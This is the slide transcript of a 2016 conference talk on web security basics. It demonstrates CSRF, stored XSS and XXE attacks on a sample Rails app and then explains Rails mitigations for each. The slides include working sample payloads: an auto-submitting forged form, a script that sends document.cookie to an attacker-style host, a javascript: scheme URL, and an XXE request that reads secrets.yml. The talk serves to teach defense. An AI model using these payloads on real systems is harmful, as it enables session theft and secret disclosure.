Security: Back to Basics

Security: Back to Basics

Presented at Abstractions - abstractions.io

The Internet is built on technology that was never meant to work together. Basic features in seemingly simple and innocuous technologies, such as XML, resulted in hidden security flaws. In this session we'll talk about how attackers exploit common vulnerabilities like CSRF, XSS, and XXE. We'll explore how easy it is to implement these vulnerabilities into your application and how to build software with security in mind.

C44e1f7e22c3f23cff7bc130871047ef?s=128

Eileen M. Uchitelle

August 20, 2016
Tweet

Transcript

  1. SECURITY Back to Basics

  2. None
  3. EILEEN M. UCHITELLE ! eileencodes.com " @eileencodes # @eileencodes !

    speakerdeck.com/eileencodes
  4. Kingston, NY Pittsburgh, PA

  5. Kingston, NY Pittsburgh, PA Canada Buffalo, NY

  6. Security, Infrastructure & Performance Team at Basecamp

  7. OPEN SOURCE Rails Committers Rails Security

  8. None
  9. None
  10. How is security broken?

  11. • Impossible to test for all possible vulnerabilities How is

    security broken?
  12. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead How is security broken?
  13. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?
  14. How did we get here?

  15. • Failed to enforce web standards How did we get

    here?
  16. vs.

  17. None
  18. • Failed to enforce web standards • Failed to implement

    a definition of security How did we get here?
  19. “...completely failed to come up with even the most rudimentary

    usable frameworks for understanding the security of modern software.” – Michal Zalewski, The Tangled Web
  20. • Failed to enforce web standards • Failed to implement

    a definition of security • Too few people understand the vulnerabilities How did we get here?
  21. None
  22. CSRF

  23. CSRF Cross-Site Request Forgery

  24. EXPLOITING CSRF

  25. None
  26. ARYA The User

  27. JESSIE The Hacker ARYA The User

  28. None
  29. None
  30. <form class="edit_user" action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name="user[name]"

    /> <label for="user_email">Email</label> <input type="text" value=“arya@aryadog.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com“ name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form>
  31. None
  32. Looks the same, different URL

  33. <body onload=“document.forms[0].submit()"> <form action="http://dogbook/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name=“user[name]" /> <label for="user_email">Email</label> <input type="text" value=“jessie@hacker.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body>
  34. <form action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name=“user[name]" />

    <label for="user_email">Email</label> <input type="text" value=“jessie@hacker.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> Jessie’s email
  35. <body onload=“document.forms[0].submit()"> <form action="http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“arya@aryadog.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form
  36. <body onload=“document.forms[0].submit()"> <form action=“http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“arya@aryadog.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form to victim site
  37. Jessie’s email

  38. How dangerous are CSRF attacks?

  39. How can we protect
 our users from
 CSRF attacks?

  40. • Use built-in framework CSRF protection How to mitigate CSRF?

  41. None
  42. class ApplicationController < ActionController::Base protect_from_forgery with: :exception end

  43. <form action="/users/2" method="post"> <input type="hidden" value="31RRdFdpulXYDxsOjyTRqKPiJxcP3+ayC==" name=authenticity_token" /> <label for="user_name">Name</label>

    <input type="text" value="Eileen" name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> CSRF protection
  44. Caveat: CSRF protection in Rails is order-dependent

  45. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end
  46. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end Conditional authentication
  47. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end
  48. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end Skip auth callback
  49. >> ChatsController._process_action_callbacks.map(&:filter) =>[ :authenticate, :verify_authenticity_token, :authenticate_for_chat ] Authentication callback is

    too late in the chain
  50. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ActionController::Base skip_before_action :authenticate before_action :authenticate_for_chat, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end
  51. >> ChatsController._process_action_callbacks.map(&:filter) =>[ :authenticate, :authenticate_for_chat, :verify_authenticity_token ] Corrected callback order

  52. None
  53. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens How to mitigate CSRF?
  54. class SessionsController < ApplicationController def destroy sign_out reset_session redirect_to sign_in_url

    end end Refreshes Authenticity Token
  55. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?
  56. XSS

  57. XSS Cross-Site Scripting

  58. EXPLOITING STORED XSS

  59. None
  60. <script> document.write( '<img src=“http://www.hax0rcats.com/' + document.cookie + '">' ); </script>

    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  61. None
  62. Escaped HTML

  63. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= @user.name %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  64. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  65. None
  66. JavaScript Scheme

  67. None
  68. javascript://example.com/%0Aalert(1)

  69. example.com/%0Aalert(1) JavaScript Scheme javascript://

  70. javascript://example.com/%0Aalert(1) URL example.com

  71. Percent encoded “line feed” javascript://example.com/%0Aalert(1) %0A

  72. JavaScript Alert javascript://example.com/%0Aalert(1) alert(1)

  73. How dangerous are XSS attacks?

  74. How can we protect
 our users from
 XSS attacks?

  75. • Always escape user-provided data How to mitigate XSS?

  76. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this
  77. None
  78. • Don’t HTML escape user-provided data • Sanitize user-provided data

    How to mitigate XSS?
  79. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= sanitize(@user.name) %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes
  80. • Don’t HTML escape user-provided data • Sanitize user-provided data

    • Validate user-provided data How to mitigate XSS?
  81. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  82. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  83. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  84. XXE

  85. XXE XML eXternal Entity Attack

  86. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  87. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_3-4.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list> Entity reference
  88. <!-- list_items_3-4.xml --> <todo>Eat breakfast</todo> <todo>Bark at the mail carrier</todo>

  89. <!-- after parsing --> <list> <todo>Take a nap</todo> <todo>Go on

    a long walk with my hooman</todo> <todo>Eat breakfast</todo> <todo>Bark at the mail carrier</todo> <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  90. EXPLOITING XXE

  91. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end
  92. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML
  93. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user>
  94. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Requested file
  95. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Entity reference
  96. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml POST

    request to users create
  97. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml Payload

  98. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml <user>

    <name> ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... </name> </user> secrets.yml as user’s name
  99. None
  100. How dangerous are XXE attacks?

  101. None
  102. How can we protect
 our servers from
 XXE attacks?

  103. • Don’t parse XML How to mitigate XXE?

  104. Don’t parse XML

  105. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) How to mitigate XXE?
  106. >> LibXML::XML.default_substitute_entities >> true

  107. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?
  108. Investigate vulnerabilities & patches SECURITY

  109. GitHub
 eileencodes/security_examples

  110. owasp.org

  111. None
  112. Brakeman

  113. Resilience & empowerment SECURITY

  114. None
  115. Awareness of vulnerabilities SECURITY

  116. JESSIE The Hacker ARYA The User

  117. None
  118. To the future

  119. Thank You! Come find me for questions and Basecamp stickers

  120. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes